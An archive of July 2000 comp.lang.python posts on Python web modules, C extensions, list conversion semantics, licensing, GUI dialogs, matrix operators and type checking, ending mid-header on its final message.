References: <3963CF19.3F4CDA8D@bioeng.ucsd.edu> <87zonvso9c.fsf@cachemir.echo-net.net> <71vfmsc0sspvpg3mq8k3s1ri653908u9nk@4ax.com> <396863B7.875EA939@stroeder.com>
Message-ID: <8kai0a$7fm$1@nnrp1.deja.com>

In article <396863B7.875EA939 at stroeder.com>,
  Michael =?iso-8859-1?Q?Str=C3=B6der?= <michael at stroeder.com> wrote:
> Tim Roberts wrote:
> >
> > I'll say.  Am I correct in understanding that the basic purpose of
> > "mod_snake" is to allow me to write other Apache modules in Python,
while
> > PyApache is a module which lets me run Python CGI scripts without
> > launching a separate interpreter,
>
> Yes. PyApache resets the Python interpreter everytime which leads to
> reloading of the modules for every hit.
>
> With mod_python you can write Apache handlers but also wrap normal
> CGI-BIN scripts without having to reload the modules for every hit.
>
> Ciao, Michael.

Which one of these modules can you use to write embedded python code?
I.e.

foo.html.py:
<html>
<body>
Looping through red, blue, green:
<python>
colors = ['red', 'blue', 'green']
for color in colors:
    print color
</python>
</body>
</html>

Thanks,
 -- John


Sent via Deja.com http://www.deja.com/
Before you buy.


From aahz at netcom.com  Mon Jul 17 14:40:57 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 17 Jul 2000 18:40:57 GMT
Subject: Tutorials at IPC9
References: <39591877.535A96BC@sage.att.com>
Message-ID: <8kvjvp$m2$1@slb1.atl.mindspring.net>

[p&e in case Garry's at OSCON and not reading c.l.p this week]

In article <39591877.535A96BC at sage.att.com>,
Garry Hodgson  <garry at sage.att.com> wrote:
>
>I'm not looking for specific topics per se (although I'm open to
>suggestions), but rather what kind of classes would be useful.  To get
>things going, here are some thoughts I had on what might be good:
>
>More in-depth tutorials, perhaps something that might build a complete
>application in Tkinter or Zope, giving a sense of real implementation
>issues.  Perhaps even a two part class: half lecture and half
>instructor-led implementation of some significant, but manageable,
>project.
>
>Overview courses, to compare and contrast various alternatives for a
>given task.  Like, say, a course that would show how to use Tkinter,
>wxPython, PyQt, and PyGTK to solve user interface problems.  This could
>be either a survey of features, or a comparison of apps built in each.
>I'd prefer the latter; what do you think?

I think it's pretty hard to get a general read on what people prefer in
terms of style.  So much depends on the individual person taking the
class, as well as the instructor.  Most of the really good ideas require
having machines available -- do you know at this point that you'll have
the resources for that?

In general, what bothers me about most classes is that they're too dang
slow -- the instructor is too willing to bog the class down for the
benefit of the slowest person in the class.  When I do presentations,
people are often surprised at how much material I cover in a short
period of time, but I rarely get complaints, because I usually cover the
material multiple times in slightly different ways, each time going a
little deeper into the details.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From herzog at online.de  Mon Jul 10 18:40:57 2000
From: herzog at online.de (Bernhard Herzog)
Date: 11 Jul 2000 00:40:57 +0200
Subject: Setting a C-structure from Python
References: <39649D5C.F1652171@seatech.fau.edu> <3967F70C.17A90288@seatech.fau.edu> <8k9p88$1s19@drn.newsguy.com>
Message-ID: <m31z11obgm.fsf@greebo.nodomain.de>

Armin Steinhoff <Armin at Steinhoff_de> writes:

> In article <3967F70C.17A90288 at seatech.fau.edu>, Benoit says...
> >
> >I think I find out where the bug was.
> >Thanks Armin !
> >
> >Why this C extension didn't work ?
> >
> >>
> >>  static PyObject * test_setstruct(PyObject * self, PyObject * args) {
> >>  PyObject * string_from_python;
> >>
> >>  if (!PyArg_ParseTuple(args,"S",&string_from_python)) return NULL;
> >>
> >>  example= (examplestruct *) PyString_AsString(string_from_python);
> >> Py_DECREF(string_from_python);

This Py_DECREF is the culprit. example is only a borrowed reference to
the string object and you don#t have to DECREF it yourself.

> >>  print_struct();
> >>
> >>  Py_INCREF(Py_None);
> >>  return Py_None;
> >>  }
> >
[...]

> I believe the real point is that you can't apply the "S" format to a "string
> buffer" which contains binary zeros. IMHO it corrupts the interpreter.

No, Python's string objects handle embedded NULs just fine. 


-- 
Bernhard Herzog   | Sketch, a drawing program for Unix
herzog at online.de  | http://sketch.sourceforge.net/


From rumjuggler at cryptarchy.org  Fri Jul 28 00:15:24 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Fri, 28 Jul 2000 04:15:24 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com>
Message-ID: <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com>

On Fri, 28 Jul 2000 03:29:06 GMT, grey at despair.rpglink.com (Steve Lamb)
wrote:

>
>    Just playing around try this some time:
>
>a = None
>list(a)
>a = 1 
>list(a)
>a = 123
>list(a)
>a = "abc"
>list(a)
>
>    To me all of those could be converted into lists yet only the last one is.
>Why do I say that?  
>
>    None could be converted into an empty list.  None is nothing.  I fail to
>see how you can't populate a list with a single nothing.
>
>    1 is a single value.  I fail to see why that cannot be converted to [1]
>which is allowed, btw. 
>a = [1]
>a
>
>    123 is a single value.  I fail to see why that cannot be converted to
>[123] which, again, is allowed.  See above.

I would never, personally, have expected list(123) to return a list
containing only the element 123.  After all, that isn't how it works with
_any_ other data type.

>    "abc" could either be a single value or a sequence.  It is converted as
>["a", "b", "c"].  Of course, the same /could/ be said for the above.  However,
>let's play around with this one since it is the only one that works somewhat
>as expected in conversion.

_any_ sequence can be either a single value or a sequence.  The fact that
list() (and tuple()) only work on objects that actually have a sequence
mapping makes a lot of sense and, to me, resolves the ambiguity in
precisely the way I would expect.

>>> a = (1,3,'5')

a is a single value.  It's a tuple.  If list() took single values and made
them into single-element lists, and tuple() worked accordingly, I would
expect

>>> tuple(list(a))

to return ([(1,3,'5')],).

To have list() and tuple() behave one way when given non-sequence
arguments, and another when given sequence arguments, rather odd for two
reasons.

Firstly, it's unnecessary.  If I have a single value in X, and I want to
make it a single-element list, there's a way to do that:

>>> some_variable = [X]

That is how you construct single-element lists.  list(), as its docstring
clearly states, creates a list from a sequence.

Secondly, it's counterintuitive.  You say "all of those can be converted
into lists"; I look at 1 and think, "what is the list equivalent of an
integer?"

>a = "abc"
>a
>a = list(a)
>a = str(a)
>a
>
>    a is now "['a', 'b', 'c']".  Which means we split a string up when
>converting to list but don't concatinate on the way back. 

Why should str(['a','b','c']) == str(['abc']) == str(['ab','c']), etc?  The
str() function doesn't know that its argument was originally constructed
from a string.  I would be very surprised if I were appending  values to a
list, and, in the process of debugging, printed its contents to see what it
contained, and got one long undifferentiated string.

If you want concatenation, you can use reduce(), string.join(), or a
string's join() method (post 1.5.2).

-- 
Barnabas T. Rumjuggler

God will forgive me; that's his job.
 -- Heinrich Heine



From michael at stroeder.com  Mon Jul 24 04:54:36 2000
From: michael at stroeder.com (Michael =?iso-8859-1?Q?Str=F6der?=)
Date: Mon, 24 Jul 2000 10:54:36 +0200
Subject: Open letter to Guido van Rossum
References: <200007240401.AAA07578@mail3.mia.bellsouth.net> <397BE9FE.BF003A13@stroeder.com> <8lgujm$rhr$1@pollux.ip-plus.net>
Message-ID: <397C044C.BC71E994@stroeder.com>

"J?rgen Hermann" wrote:
> 
> "Michael Str?der" <michael at stroeder.com> schrieb im Newsbeitrag
> news:397BE9FE.BF003A13 at stroeder.com...
> > Don't be unfair! You forgot mod_snake!
> > => there are *three* competing version. ;-)
> 
> Actually, there are four.

URL?

Ciao, Michael.


From dale at out-think.NOSPAM.co.uk  Sun Jul  9 15:51:20 2000
From: dale at out-think.NOSPAM.co.uk (Dale Strickland-Clark)
Date: Sun, 9 Jul 2000 20:51:20 +0100
Subject: How to approach this?
Message-ID: <8kal5v$8n5$1@supernews.com>

I'm still getting to grips with Python so this may sound basic:

I have one class which handles a database connection and a number of other
clasess which need that connection.

I want there to be just one instance of the database class which is created
as soon as it's needed by a dependant class.

There could be any number of instances of the dependant classes appearing
and disappearing during a run.

How do I make sure that the database object is properly closed when there
are no instances of the dependant classes left?

Thanks for any help.

Dale Strickland-Clark





From gbreed at cix.compulink.co.uk  Thu Jul 13 06:35:18 2000
From: gbreed at cix.compulink.co.uk (gbreed at cix.compulink.co.uk)
Date: 13 Jul 2000 10:35:18 GMT
Subject: ASP Questions
Message-ID: <8kk616$5ck$1@plutonium.compulink.co.uk>

Here are some outstanding problems I have with ASP files written in 
Python.  Hopefully, some of you will have solutions.

I can't write to session or application variables.  In VBScript, this is 
done like Session("key")="value".  In Python, for writing to a new key, 
that translates to assignment to None.  I found some documentation for 
fixing this in P*rlScr*pt, but still can't get it to work in Python.

Response.Redirect doesn't terminate execution of the script.  I'm getting 
round this by throwing an exception, but is there a command that can do 
the same job more cleanly?

I ran a script with an infinite loop once.  How should I have terminated 
it (other than by proof reading my code better)?

I'm finding the, when Append-ing parameters to a stored procedure, the 
parameter names are ignored.  Is this right?  This isn't a Python problem, 
but I thought I'd throw it in anyway.


Right, that'll do.  Thank you for you time and any replies.

           Graham


From steedman at quake.cs.fsu.edu  Mon Jul 24 06:19:52 2000
From: steedman at quake.cs.fsu.edu (Ronald Steedman)
Date: 24 Jul 2000 10:19:52 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <964118210.2281.0.pluto.d4ee0942@news.demon.nl> <397ab732.1184204@news.proxad.net> <964351215.18988.0.pluto.d4ee0942@news.demon.nl>
Message-ID: <8lh588$oti$3@news.fsu.edu>

 A full compile of a complex software package can often take 30 seconds or
 more. That can be frustrating when you're trying to find and remove bugs.
 You try one thing, wait 30 seconds, try another thing, wait 30 seconds...

 Imagine how an intepreter would help. Try one thing IMMEDIATELY SEE THE
 RESULT... try another thing IMMEDIATELY SEE THE RESULT... then you only
 compile the application when you're finished and want a faster program.

 I like how Visual Basic offers both compiled and interpreted programs. I
 would like to see Visual C++ follow suit. :)

  -- Ron Steedman

In comp.games.development.programming.misc slaurijssen <serve at circe.dem.nl> wrote:
: Oh, I'm sorry. I didn't realize there would actually be someone that
: actually wants to use it. What's the point in using a C++-interpreter when
: it's just as easy to compile the source, which has more advantages?
: But who am I to argue,

: the package is called CINT and I found a link at
: http://root.cern.ch/root/Cint.html


: Jm <giem_I_AM_SINGING_IN_THE_RAIN at free.fr> schreef in berichtnieuws
: 397ab732.1184204 at news.proxad.net...
:> Do you have a link to it,
:>  or at least the name of that interpreter ??
:>
:> --
:>
:> On Thu, 20 Jul 2000 20:36:49 +0200, "slauijssen" <serve at circe.dem.nl>
:> wrote:
:>
:> >Err, by the way
:> >On a linux cd I found a C++ interpreter. The funny thing is that the
:> >interpreter itself is written with c++ and interprets itself to interpret
:> >the really to interpret code. Got it? ;-)
:> >
:> >Mallor <mallor at 3DProgrammer.com> schreef in berichtnieuws
:> >v62d5.580$GQ1.26151 at newsread2.prod.itd.earthlink.net...
:> >> Are any of you game developers out there using Python as your game
:> >engine's
:> >> embedded scripting language?  I am wondering what drove your decision
: to
:> >use
:> >> Python instead of other embeddable scripting languages?  I'd like to
: hear
:> >what
:> >> your overriding concerns were, and also what they are now, having put
:> >Python to
:> >> the test.
:> >>
:> >> --
:> >> Cheers,             Infernal Troublemaker                    Troll
:> >> Mallor              "By simple mistake, mortals themselves amuse."
:> >>
:> >>
:> >>
:> >
:> >
:>




From nowonder at nowonder.de  Mon Jul 31 19:53:23 2000
From: nowonder at nowonder.de (Peter Schneider-Kamp)
Date: Mon, 31 Jul 2000 23:53:23 +0000
Subject: [6th Draft] Open Letter to CNRI: Request for clarification
Message-ID: <39861173.30E94EDC@nowonder.de>

PREFACE: Anyone can sign this open letter. This is not only for
         hardcore coders and Python developers, but for every
         Python user/addict out there.

- more signatures
- minor editing

--- begin open letter -------------------------------------------------
To: Dr. Robert E. Kahn <rkahn at cnri.reston.va.us>,
    (president of The Corporation for National Research Initiatives)

Dear Dr. Kahn,

Many people in the Python community have concerns about the license
issues that have popped up around the new 1.6/2.0 releases.

The following attached signatures represent people from the Python
community who would like some clarification regarding the future of the
Python language. To date, there has been no official statement from
your institution regarding the new Python license. We are especially
interested in the overall intent of this change. So we request a
plain-English, non-legalese statement regarding the purpose of that
change and the ways in which it affects Python's use.

Kind regards,
Peter Schneider-Kamp
--- end open letter ----------------------------------------------------
--- begin signature list -----------------------------------------------
Martijn Faassen [m.faassen at vet.uu.nl]
Stuart Ford (Programmer/Analyst E.H. Boeckh Corporation)
Jay Graves
Magnus Lie Hetland (Ph.D. student Computer Science)
Konrad Hinsen (Centre de Biophysique Moleculaire CNRS)
Michael Hudson (maths grad student, Python developer) [mwh at python.net]
Aahz Maruch [aahz at pobox.com]
Gareth McCaughan
David Mertz (author of a Python column for IBM developerworks)
Edward Jason Riedy
Will Ware
Thomas Weholt
Thomas Wouters (Systems Architect, Python developer)
Moshe Zadka (mathematician, Python developer) [moshez at math.huji.ac.il]
--- end signature list -------------------------------------------------

Please add/change/remove your signatures.

Feedback as always strongly appreciated.

or-should-I-send-the-1st-draft-<wink>-ly y'rs
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From GustavsB at ch.sibt.com  Fri Jul 14 04:53:12 2000
From: GustavsB at ch.sibt.com (Bruno Gustavs)
Date: Fri, 14 Jul 2000 10:53:12 +0200
Subject: Top 10 Language Constructs (Phyton)
Message-ID: <8kmkam$m45$1@pollux.ip-plus.net>

What do you think are the top ten language constructs in Phyton ?
Please don't answer in terms of OO concepts, but try to restrict
yourself to those statements you really use to cope with your
daily work.

Curious why I'm asking this question? In spite of all requirements
engineering effort we know exactly *how* to solve problems
with computer languages but know fairly, *what* we're doing
during this process.

Regards
Bruno Gustavs




From bill at dehora.fsnet.co.uk  Sat Jul 29 15:09:00 2000
From: bill at dehora.fsnet.co.uk (Bill de hÓra)
Date: Sat, 29 Jul 2000 20:09:00 +0100
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <3h8zumi4i2.fsf@angband.org> <slrn8o3f73.49c.grey@teleute.rpglink.com>
Message-ID: <8lva5q$bga$1@news6.svr.pol.co.uk>

>     Funny, I thought that was what comments were for.
>
> match = re.match(r'(\d+)')
> foo = int(match.group(1))
>
> vs.
>
> m/(\d+)/;
> foo = $1; # should be a number
>
>     Given the choice, I'd rather have comments, not cues in the code.  :)

Comments are a last resort, with the exception of API level documentation a
l? Javadoc. Though God knows the JDK could do with explaining *how to* and
*how long*.

Comments fall out of line with code over time. That is simply a fact of
software development. A lot of big software is commented by people other
than those who developed it; usually long after is has been developed. I
know of programmers who will remove all comments in code they have
inherited, and then get to the code. What it does *now* is more important
than what someone *thought* it *used* to do.

It's my hope that future languages will not allow in-code comments, the same
way Python has dumped bracketing. Instead replace comments with naming,
abstraction and unit tests. Comments are a story about code; too often that
story is fairy tale.

If you can't clarify your code without inline comments, you're not done.

-Bill de h?ra






From cmyanko at bigfoot.com  Tue Jul 25 08:14:42 2000
From: cmyanko at bigfoot.com (Hartford Hackers)
Date: Tue, 25 Jul 2000 12:14:42 GMT
Subject: Test framework of choice?
References: <8F7B7D888beablebeable@209.155.56.81> <8lj0v2+8r4u@eGroups.com>
Message-ID: <8lk0bf$f4h$1@nnrp1.deja.com>

I was waiting to see who won the Software Carpentry contest myself.

--
-Curtis Yanko


Sent via Deja.com http://www.deja.com/
Before you buy.


From akuchlin at mems-exchange.org  Tue Jul 18 16:38:27 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 18 Jul 2000 16:38:27 -0400
Subject: Python-dev summary: July 1-15
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <8l2ce1$de2$1@sun500.nas.nasa.gov>
Message-ID: <3dem4r41j0.fsf@kronos.cnri.reston.va.us>

"Chris Knight" <cknight at mail.arc.nasa.gov> writes:
> It's very much appreciated, any possibility of (cross-)posting it to
> c.l.p.announce?

There seems little point, since comp.lang.python.announce is
effectively dead until Markus Fleck either begins handling submissions
in a timely fashion or adds more people as moderators.  So, c.l.p only
for now.  I'll try to set up a Web archive, though, if the postings
become a regular thing.

--amk


From denalione at my-deja.com  Mon Jul 17 09:14:49 2000
From: denalione at my-deja.com (Dale Burnett)
Date: Mon, 17 Jul 2000 13:14:49 GMT
Subject: built in sources
Message-ID: <8kv0rr$lm2$1@nnrp1.deja.com>

where can I get the source for all of the built-in methods, types,
etc...

Thanks


Sent via Deja.com http://www.deja.com/
Before you buy.


From schorsch at schorsch.com  Fri Jul 28 06:06:12 2000
From: schorsch at schorsch.com (Georg Mischler)
Date: Fri, 28 Jul 2000 10:06:12 GMT
Subject: Pmw dialogs - very slow
References: <3980375F.4D366654@proceryon.at>
Message-ID: <8lrlui$673$1@nnrp1.deja.com>

Horst Gassner wrote:
> Hi all!
>
> Am I doing something wrong or are Pmw dialogs really so slow?
>
> Here are the lines of code:
> s.notYetImplemetentedDlg = Pmw.MessageDialog(s.parent,defaultbutton=0,
> title = notYetImplementedHdrTxt, message_text = notYetImplementedTxt)
> s.notYetImplemetentedDlg.activate(geometry = 'centerscreenalways')
>
> The dialog frame appears very fast but it takes between 1 and 2
> seconds to display the contents!
> [...]
> Is there a possibilty to speed this up?

My experiments have shown that this has something to do with
the sequence of function calls in the setgeometryanddeiconify()
function in the file PmwBase.py. I'm not sure if I have found the
"correct" sequences yet, but I could get rid of the symptoms for
the unix branch by moving the final "window.tkraise()" from the
last line up to just below the "else:".

Not really understanding everything that happens there, I can't
stress enough that this means just treating the symptoms for the
moment. There may be other dependencies that would dictate a
different sequence.

Maybe Greg could comment?


-schorsch

--
Georg Mischler  --  simulations developer  --  schorsch at schorsch.com
+schorsch.com+  --  lighting design tools  --  http://www.schorsch.com/


Sent via Deja.com http://www.deja.com/
Before you buy.


From alex at magenta.com  Mon Jul 10 09:22:06 2000
From: alex at magenta.com (Alex Martelli)
Date: Mon, 10 Jul 2000 15:22:06 +0200
Subject: EOF
References: <396623EE.211B14E9@sis.it>
Message-ID: <8kcisv0180s@news2.newsguy.com>

"fae" <fae at sis.it> wrote in message news:396623EE.211B14E9 at sis.it...
> Sorry,
>    how can I test if I reached the end of file ?

Depends on how you're reading it.  If you're reading it with
thefile.readline(), this will return a false value when, and only
when, there is nothing more to read; otherwise the returned
value (the line just read) is non-false (this is because the ending
'\n' is NOT removed, so even reading an empty-line returns
at least a '\n', which does not test as false).


Alex





From paul at prescod.net  Sat Jul 15 06:45:29 2000
From: paul at prescod.net (Paul Prescod)
Date: Sat, 15 Jul 2000 05:45:29 -0500
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <qsusmscak89fbrddm2b7mlej4vrjq4nadl@4ax.com> <396EDE0B.5F9075B6@fft.be> <396F1914.DBE530CA@prescod.net> <f9jvmschdj3ihoouppp6fnsh3jhi6dq90h@4ax.com> <396FE1CE.FE9967A8@prescod.net> <slrn8n001o.12e.hzhu@localhost.localdomain>
Message-ID: <397040C9.D9279D8@prescod.net>

Huaiyu Zhu wrote:
> 
> ...
> 
> Python already provides both function names and binary operators, so the
> first level issue is not there.  However, while it gives almost unlimited
> supply of function names that can be overridden, there is only a handful of
> binary operators which have deep rooted meanings and not enough for
> overloading. This limit is largely arbitrary, and is therefore complexity.

No, the set of operations is not arbitrary. They are the set of
operations that most people learn in high school and are basically the
same set in every other mainstream programming language in the universe.

By the way, if we are going to add a bunch of formally meaningless
operators to the language, are we going to add unary, binary, ternary
and quaternary ones?

> Haven't we already talked this through?  Text processing already got its
> special syntax, even of the first level, which is quoted string.  

You have got to be joking. Quoted strings are a "special syntax?" Then I
guess matrices got in their special syntax also:

[[5,4,3],[2,8,5],[9,7,1]]

In fact, it really is the case that there is special syntax in the
language for matrix processsing. But you are asking for a whole new
level.

> Within a
> quoted string you could put in any text sequence.  In this specific domain
> it happens that only very limited number of binary operators are required,
> and they are duly provided, like string + string, string % string, or string
> * number.  

Not true at all. Perl provides a much, much richer set of operators for
working with strings. The most obvious binary operator Python is
"missing" is "does this string exist in that string". But text
processors learned to live with functional syntax (".find") and so can
matrix users. Python's core string operators are not really everythin
gyou need for "text processing" any more than they are everything you
need for matrix processing. Text processors just learned to survive with
functions and methods. Matrix processors will too. Moshe has some good
ideas in this vein. (.Element()*...

> All the other things you mentioned could be built on top of this.
> This domain is not even as mature as matrix computation - in many earlier
> languages it was though that special syntax is needed for printing, formats
> and regular expressions, which turned out to be just ordinary string
> operations and functions, as python shows.

Perhaps that rather shows that matrix computation is not as mature as
string processing.

"In many earlier languages it ws thought that special syntax is needed
for element wise computation, which turned out to be just ordinary
matrix functions, as MatPy shows."

Anyhow, it isn't that Python showed that other string operators are not
important. It's that Python showed that moving those operations to a
library makes text processing *more verbose* but makes *Python simpler*.
The same holds for matrices.

> On the other hand, for proper matrix operation, there is not much need for
> any additional first level structure, but there does exist a great need for
> a larger supply of binary operators.  What we are saying is that extending
> the number of operators overridable by applications represents a much
> smaller risk of incompatability than giving everyone a complete parser.

A smaller risk of incompatibility but a larger risk of making Python
complex and reducing its long-term popularity.

> With the given operators, all the fields like scientific computation,
> graphics, statistical analysis and artificial intelligence could also be
> built on top of this.

What if they want a completely different set of operators syntactically?
What if they want unary and ternary ones? Could I design the operators
with an eye to XML and then force you to make them fit matrix
processing?

> Before you dismiss numerical computation as just another domain, why not try
> a few packages and get a feeling of how large the domain is?

It doesn't matter how large the domain is. It is nevertheless just
another domain. Most people doing matrix computation with Python
acknowledge this and have been conservative in their requests on the
core. People have been doing numerical processing in Python for a long
time you know. 

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From swun at esec.com.au  Mon Jul  3 19:51:03 2000
From: swun at esec.com.au (Sam Wun)
Date: Tue, 04 Jul 2000 09:51:03 +1000
Subject: how to push data in to ssh in python?
References: <395FF2D9.1B46251D@esec.com.au> <slrn8m0hvm.m2b.thomas@centurion.xs4all.nl>
Message-ID: <396126E7.B10A450B@esec.com.au>

Oh yes, I actually print it to the stdout, and intended to use command "ssh -l
swun hostname < out.dump" to send out.dump to the "hostname" in "swun" account,
but I am not sure how to set up the "swun" account to receive this transaction.

Thanks
Sam.

Thomas Wouters wrote:

> On Mon, 03 Jul 2000 11:56:41 +1000, Sam Wun <swun at esec.com.au> wrote:
>
> >Thanks
>
> Your question is incomplete. What do you want to do ? Did you look at
> popen(), and is it not what you want ? Does ssh require the input to come
> from a pseudo-terminal ? Can't you use a normal shell pipeline and make your
> python script just 'print' what you want to output ? Are you encountering
> difficulties with any of these ideas, or not finding the right documentation?
>
> Oh, and it's not necessary to post both in HTML and in plaintext.. Just
> plaintext will do just fine ;)
>
> How-do-I-get-a-zilion-dollars-ly y'rs,
>         Thomas.

--
Sam Wun                            Firewalls / Security
OneGuard Senior Software Engineer  Electronic Commerce
eSec Limited                       Phone: +61 3 83715376
mailto:swun at eSec.com.au            C++/JAVA/UNIX/OOP/OOD


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000704/a2f39ca6/attachment.html>

From ge at nowhere.none  Fri Jul 28 11:29:57 2000
From: ge at nowhere.none (Grant Edwards)
Date: Fri, 28 Jul 2000 15:29:57 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <dp3dkulamd.fsf@mraz.iskon.hr> <slrn8o38ap.3ok.grey@teleute.rpglink.com>
Message-ID: <VFhg5.2678$6E.683528@ptah.visi.com>

In article <slrn8o38ap.3ok.grey at teleute.rpglink.com>, Steve Lamb wrote:

>>For me, 1 and "1" are clearly not two numbers.  The former is a
>>number, the latter a string consisting of the character "1".  Saying
>>that they are numbers because we "see" they're numbers is like
>>insisting one 1 + "one" to return 2 because "one" is so obviously a
>>number.
>
> You see that only because you are a programmer and have gotten
> used to the concept of types.  

For whom, exactly, are programming languages supposed to be
designed if not for programmers?

>I, too, am a programmer and I reject the concept of types
>because to the human that concept is meaningless.

The concepts are meaningful to me (and I find them useful).
Therefore, according to your argument, I am not a human.

Claiming the people with whom you're arguing aren't human
doesn't seem to me like a useful way to construct an agrument.

If you don't like types, use a language without types.  Some of
us find them useful.

-- 
Grant Edwards                   grante             Yow!  Mary Tyler Moore's
                                  at               SEVENTH HUSBAND is wearing
                               visi.com            my DACRON TANK TOP in a
                                                   cheap hotel in HONOLULU!


From paul at prescod.net  Thu Jul 20 18:29:18 2000
From: paul at prescod.net (Paul Prescod)
Date: Thu, 20 Jul 2000 17:29:18 -0500
Subject: Type checking in python?
References: <39770CD5.215D4C0C@cornell.edu> <Ptvc5.40687$MT.1455524@news-west.usenetserver.com> <397296BC.415C97E1@prescod.net> <8l7au1$mf6$1@nntp6.u.washington.edu> <39774DBC.5785A660@cornell.edu>
Message-ID: <39777D3E.8FAE2FA2@prescod.net>

Samuel Scarano wrote:
> 
> (First of all, I just wanted take a moment to thank Paul Prescod for his
> very informative response to my post in this thread.)

Glad to help. I'll poke my nose in one more time:

> Fair enough. I agree that implementing the necessary methods is the most
> practical solution in this case -- and in many others. However, I think that
> the obvious objection to this approach would be that because there *are* no
> explicit interfaces in python, you can't create a class that's guaranteed to
> work wherever another class works just by implementing the same methods. 

Okay, but that was always a false guarantee. You can implement the right
interface but blow up on negative numbers, or even numbers or when the
day of the month is a prime number.

It is at least arguable that the chances of a type signature problem
slipping through a rigorous test suite is pretty small. Now what if you
use the time you saved setting up the interface hierarchy for improving
the test suite. You might find BOTH your type signature problems AND
more subtle logic problems.

-- 
 Paul Prescod - Not encumbered by corporate consensus
"Hardly anything more unwelcome can befall a scientific writer than 
having the foundations of his edifice shaken after the work is 
finished.  I have been placed in this position by a letter from 
Mr. Bertrand Russell..." 
 - Frege, Appendix of Basic Laws of Arithmetic (of Russell's Paradox)




From darrell at dorb.com  Thu Jul  6 19:31:39 2000
From: darrell at dorb.com (Darrell Gallion)
Date: Thu, 6 Jul 2000 16:31:39 -0700
Subject: Undocumented regex behaviour in re module
References: <m3itulmfi1.fsf@vole.object-craft.com.au> <012f01d65299$646f54a0$6401a8c0@home> <3964D012.1796D248@appliedbiometrics.com>
Message-ID: <03e901bfe7a2$56628a80$6401a8c0@home>

It wasn't immediately obvious that I had slipped thought time.
But I returned to the year 2000 with a sheepish look to see if anyone had
noticed :o

Though not before a time paradox was initiated with in my Zope instance.

2000-07-06T04:47:15 PROBLEM(100) ZODB FS FS21  warn:
E:\zope\public/var/Data.fs
Database records in the future
2000-07-06T05:14:03 PROBLEM(100) ZODB FS FS21  warn:
E:\zope\public/var/Data.fs
time-stamp reduction at 3180205

Thankfully exporting and importing fixed everything up.
All without spinning my office into an alternate time line.

Thanks for noticing.
--Darrell


From: "Christian Tismer"
> Subject:
>             Re: Undocumented regex behaviour in re module
>        Date:
>             Sat, 4 Jul 2020 23:56:21 -0700
>
> Please, share your time machine with us :-)
>





From max at alcyone.com  Fri Jul 28 14:55:51 2000
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 28 Jul 2000 11:55:51 -0700
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com>
Message-ID: <3981D737.CBA366F@alcyone.com>

Steve Lamb wrote:

>     As a human, type 1.  Character?  String?  Integer?  Floating
> number?  No,
> it is 1 and it can be all of those all on context.

In Python, and most programming languages that have some notion of type,
it is an integer.  If you wanted a string, then you'd have typed '1', or
converted it to a string with `1` or repr(1) or str(1).

An integer is not a sequence in Python.  Insisting that it should be
because you insist that it is (with no other justification) is rather
bizarre.

If you don't like Python, then don't use it.  There are many reasons
that a language (Python or otherwise) can rub you the wrong way.  But
trying to point out a flaw which is anything but is not an effective way
of doing it.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE
/  \ The only source of knowledge is experience.
\__/ Albert Einstein
    Computer science / http://www.alcyone.com/max/reference/compsci/
 A computer science reference.


From gjohnson at gs.verio.net  Thu Jul 13 19:20:01 2000
From: gjohnson at gs.verio.net (Tony Johnson)
Date: Thu, 13 Jul 2000 18:20:01 -0500
Subject: py-MySQLdb
Message-ID: <022701bfed20$de95f850$4a7c01cc@gs.verio.net>

I am hping that this is a god place t send something on this subject.  But I was trying t send a sql query to a mysql server that contains static quoted material and my python local variables in a c.execute("query") line.  I was just wondering if there was an easy way of using local variables in this line or do I need to create the query as one long variable and just remove the quotes...

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000713/0f48e8b7/attachment.html>

From jeff at ollie.clive.ia.us  Sat Jul 29 00:45:14 2000
From: jeff at ollie.clive.ia.us (Jeffrey C. Ollie)
Date: Sat, 29 Jul 2000 04:45:14 GMT
Subject: Perl is worse!
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <8lsqld$hrq$1@newshost.accu.uu.nl> <82l4osonthc3dopu8s7ddrs7h4cgou1lgf@4ax.com>
